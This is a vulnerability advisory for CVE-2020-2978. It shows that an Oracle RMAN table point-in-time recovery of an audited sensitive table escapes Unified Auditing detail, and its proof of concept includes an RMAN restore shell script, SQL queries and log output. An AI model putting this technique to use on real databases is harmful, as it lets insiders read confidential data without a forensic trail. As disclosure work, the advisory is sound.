Title: CVE-2020-2978 - Oracle RMAN Audit table point in time recovery not recorded
Product:                   Database
Manufacturer:              Oracle
Affected Version(s):       12.1.0.2, 12.2.0.1, 18c, 19c
Tested Version(s):         19c
Risk Level:                Medium
Score:                     4.1
Solution Status:           Fixed
CVE Reference:             CVE-2020-2978
Author of Advisory:        Emad Al-Mousa

Overview:

Audit failure is a security weakness in software product especially if a security audit is in-place to detect a certain operation. Oracle RMAN is
a database Recovery Manager utility for backup and restore operations, so any security weakness/vulnerability can be exploited by insider threat or
external attacker to view confidential data in unauthorized manner.

*****************************************
Vulnerability Details:

The scope of this security research is to detect if a database administrator tried to restore a "sensitive table" (already in-place auditing is configured against SELECT statements against this sensitive table). 
The following research illustrates that despite RMAN operations are audited by “default” in pure “Unified Auditing” mode, the table point of time recovery activity/action was not logged in the audit logs. 
As a result, any trails for future forensic investigation or real time security operations monitoring for activities against highly confidential sensitive table will not be met.


*****************************************
Proof of Concept (PoC):

// I will check first if Unified Auditing feature is enabled in an Oracle database system:

SQL> select value from v$option where parameter ='Unified Auditing';
 
VALUE
----------------------------------------------------------------
TRUE
 
 
SQL> select * from DBA_AUDIT_MGMT_CONFIG_PARAMS where PARAMETER_NAME = 'AUDIT WRITE MODE';
 
PARAMETER_NAME
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
PARAMETER_VALUE
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
AUDIT_TRAIL
----------------------------
AUDIT WRITE MODE
IMMEDIATE WRITE MODE
UNIFIED AUDIT TRAIL


// I will create linux shell script to restore a sensitive database table with different name , you will need to access the Linux OS as DBA linux account
for the exploit to work ....the sensitive table is called "dummy" under schema called "DBA" and the attacker will restore it with different name --->
dummy_55:
 
touch /tmp/dbtest/resotre.sh

chmod 700 /tmp/dbtest/resotre.sh

vi  /tmp/dbtest/resotre.sh
 
#!/bin/sh
export ORACLE_SID=dbtest
export ORACLE_HOME=/orcl/dbtest/product/18.3
export RMAN_LOG_FILE=/tmp/dbtest/aux_db/db_restore.log
RMAN=$ORACLE_HOME/bin/rman
CMD_STR="
ORACLE_HOME=$ORACLE_HOME
export ORACLE_HOME
ORACLE_SID=$ORACLE_SID
export ORACLE_SID
$RMAN target \/ msglog $RMAN_LOG_FILE append << EOF
connect CATALOG $RCVCAT_CONNECT_STR
run {
recover table dba.dummy
#until scn 56330407409
until time \"to_date('23-JAN-2020 08:00:00','DD-MON-YYYY HH24:MI:SS')\"
auxiliary destination '/tmp/dbtest/aux_db'
remap table dba.dummy:dummy_55;
}
EOF
"
/usr/bin/sh -c "$CMD_STR" >> $RMAN_LOG_FILE

// then run the shell script:

/tmp/dbtest/resotre.sh
 
 
// Log File /tmp/dbtest/aux_db/db_restore.log shows the restore is successful:
 
auxiliary instance file /tmp/dbtest/aux_db/JTVB_PITR_dbtest/onlinelog/o1_mf_1_h2lopldq_.log deleted
auxiliary instance file /tmp/dbtest/aux_db/JTVB_PITR_dbtest/datafile/o1_mf_ts_user__h2locvjr_.dbf deleted
auxiliary instance file /tmp/dbtest/aux_db/dbtest/datafile/o1_mf_sysaux_h2lncb1c_.dbf deleted
auxiliary instance file /tmp/dbtest/aux_db/dbtest/datafile/o1_mf_ts_undo__h2lnlrw7_.dbf deleted
auxiliary instance file /tmp/dbtest/aux_db/dbtest/datafile/o1_mf_system_h2lncb14_.dbf deleted
auxiliary instance file /tmp/dbtest/aux_db/dbtest/datafile/o1_mf_system_h2lncbvp_.dbf deleted
auxiliary instance file /tmp/dbtest/aux_db/dbtest/controlfile/o1_mf_h2ln7ftc_.ctl deleted
auxiliary instance file tspitr_jtvb_19868.dmp deleted
Finished recover at 01/23/2020-11:19:30
 
RMAN> RMAN>
 
Recovery Manager complete. 


// you can now access the sensitive table and query data:

sqlplus / as sysdba

SQL> select * from dba.dummy_55;

// Checking the unified audit trail:
 
SQL> select EVENT_TIMESTAMP, ACTION_NAME, RMAN_SESSION_STAMP, RMAN_OPERATION,RMAN_OPERATION,RMAN_OBJECT_TYPE
from unified_audit_trail where ACTION_NAME like '%RMAN%' order by 1;
 
The RMAN session is logged in the audit table, but there is NO details of what kind of RMAN operation took place ?!

Conclusion:

SystemAdmin/Attacker can view sensitive data without being audited which will impact forensic investigation, and threat detection.



*****************************************
References:
https://www.oracle.com/security-alerts/cpujul2020.html
https://nvd.nist.gov/vuln/detail/CVE-2020-2978
https://databasesecurityninja.wordpress.com/2020/12/01/cve-2020-2978-rman-audit-table-point-in-time-recovery-not-logged/